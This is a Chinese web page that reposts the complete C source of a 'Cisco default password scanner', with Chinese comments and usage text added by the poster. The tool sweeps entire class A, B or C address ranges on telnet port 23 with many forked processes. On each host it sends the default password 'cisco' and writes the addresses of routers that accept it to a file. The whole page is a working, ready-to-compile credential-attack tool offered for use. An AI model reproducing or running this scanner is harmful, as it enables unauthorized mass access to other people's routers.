您好,登錄后才能下訂單哦!
早上吃完早飯,看了遍思科默認密碼掃描器 v1.3 最終版的源碼,索性將其漢化 英語水平有限,請批評指正
/* 思科默認密碼掃描器 v1.3 最終版
思科掃描器能掃描一個A類,B類,C類ip地址池中的默認密碼為cisco
還沒來的及更改密碼的思科路由器掃描記錄下來并保存到一個名為cisco.txt
的文件中.
使用方法:
A類地址 = ./ciscos 127 1
B類地址 = ./ciscos 127.0 2
C類地址 = ./ciscos 127.0.0 3
可選項:
-t = 超時時間間隔 (默認3-5 秒)
-C = 設置多少個線程 (最好設置300個線程以下)
:: Ravi_C ::
smolten@ureach.com
漢化:低落的回眸 QQ:328504126
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <netdb.h>
#include <errno.h>
#define SA struct sockaddr
#define SIN_LEN sizeof(struct sockaddr_in)
#define IPV4_ADDRLEN 16
void ShowHelp(char *, char *);
void ShowVer()
{
printf("Cisco Scanner v1.3\n");
}
int ConnectCheck(struct sockaddr_in, int);
const char *ipv4_ntop(int, const void *, char *, size_t);
FILE *stream;
int main(int argc, char *argv[]) {
int i=0,j=0,k=0,status,Children=105,Timeout=7,class=0;
char DestIP[15],*NetworkID,c,*num3;
struct sockaddr_in DestAddress;
if(argc < 3) ShowHelp(argv[0], "");
NetworkID = argv[1];
num3=argv[2];
class=atoi(num3);
opterr = 0;
while((c = getopt(argc, argv, "C:t:")) != -1) {
switch(c) {
case 'C': Children = atoi(optarg); break;
case 't': Timeout = atoi(optarg); break;
case '?': ShowHelp(argv[0], "ERROR: unrecognized option"); break;
}
}
if(Children < 1) ShowHelp(argv[0], "ERROR: invalid number of children");
if(Timeout < 1) ShowHelp(argv[0], "ERROR: invalid timeout");
ShowVer();
/*Class A*/
if (class==1)
fprintf(stderr,
"Scanning: %s.*.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n",
NetworkID,Children,Timeout);
/*Class B*/
if (class==2)
fprintf(stderr,
"Scanning: %s.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n",
NetworkID,Children,Timeout);
/*Class C*/
if (class==3)
fprintf(stderr,
"Scanning: %s.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n",
NetworkID,Children,Timeout);
DestAddress.sin_family = AF_INET;
DestAddress.sin_port = htons(23);
/*Class A*/
if (class==1){
for(k = 0; k < 256; k++) {
for(j = 0; j < 256; j++) {
for(i = 0; i < 256; i++) {
if (i > Children || j > 0 || k > 0 ){
wait(&status);
}
sprintf(DestIP, "%s.%d.%d.%d", NetworkID,k,j,i);
inet_aton(DestIP, &DestAddress.sin_addr);
if(!fork()) ConnectCheck(DestAddress, Timeout);
}
}
}
}
/*Class B*/
if (class==2){
for(j = 0; j < 256; j++) {
for(i = 0; i < 256; i++) {
if (i > Children || j > 0){
wait(&status);
}
sprintf(DestIP, "%s.%d.%d", NetworkID,j,i);
inet_aton(DestIP, &DestAddress.sin_addr);
if(!fork()) ConnectCheck(DestAddress, Timeout);
}
}
}
/*Class C*/
if (class==3){
for(i = 0; i < 256; i++) {
if (i > Children){
wait(&status);
}
sprintf(DestIP, "%s.%d", NetworkID, i);
inet_aton(DestIP, &DestAddress.sin_addr);
if(!fork()) ConnectCheck(DestAddress, Timeout);
}
}
for(;;) {
if((waitpid(-1, &status, WNOHANG) == -1) && (errno == ECHILD))
exit(EXIT_SUCCESS);
}
}
int ConnectCheck(struct sockaddr_in DestAddr, int Timeout)
{
int result,ret,SocketFD;
char Hostname[60],buffer1[64],buffer2[64];
if((SocketFD = socket(AF_INET, SOCK_STREAM, 0)) < 0) exit (EXIT_FAILURE);
alarm(Timeout);
result = connect(SocketFD, (SA *)&DestAddr, SIN_LEN);
if (!result) {
alarm(Timeout);
memset(buffer1, '\0', 64);
memset(buffer2, '\0', 64);
if ((ret = read(SocketFD, buffer1, 64)) > 0)
{
ret = read(SocketFD, buffer1, 64);
send(SocketFD,"cisco\r",6,0);
ret = read(SocketFD, buffer2, 64);
if( (memcmp(buffer2,"\r\nPass",6)) &&
!(memcmp(buffer1,
"\r\n\r\nUser Access Verification\r\n\r\nPassword",40)))
{
stream = fopen("cisco.txt","a");
printf("Cisco found: %s\n\a",
ipv4_ntop(AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59));
fprintf(stream,"%s\n",
ipv4_ntop(AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59));
fclose(stream);
}}
close(SocketFD);
}
exit(EXIT_SUCCESS);
}
const char *
ipv4_ntop(int family, const void *addrptr, char *strptr, size_t len) {
const u_char *p = (const u_char *)addrptr;
if(family == AF_INET) {
char temp[IPV4_ADDRLEN];
snprintf(temp, sizeof(temp), "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
if(strlen(temp) >= len) {
errno = ENOSPC;
return(NULL);
}
strcpy(strptr, temp);
return(strptr);
}
errno = EAFNOSUPPORT;
return(NULL);
}
void ShowHelp(char *argv0, char *ErrMsg) {
ShowVer();
printf(" 輸出將被存儲到哦cisco.txt文件中\n");
printf(" 使用方法: %s <IP地址> <子網類型> [可選項]\n",argv0);
printf(" 掃描一個A類地址: ciscos 127 1 \n");
printf(" 掃描一個B類地址: ciscos 127.0 2 \n");
printf(" 掃描一個C類地址: ciscos 127.0.0 3\n");
printf(" [-C <threads>] 可開最大線程數\n");
printf(" [-t <timeout>] 超時的秒數\n\n");
exit (EXIT_FAILURE);
}
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。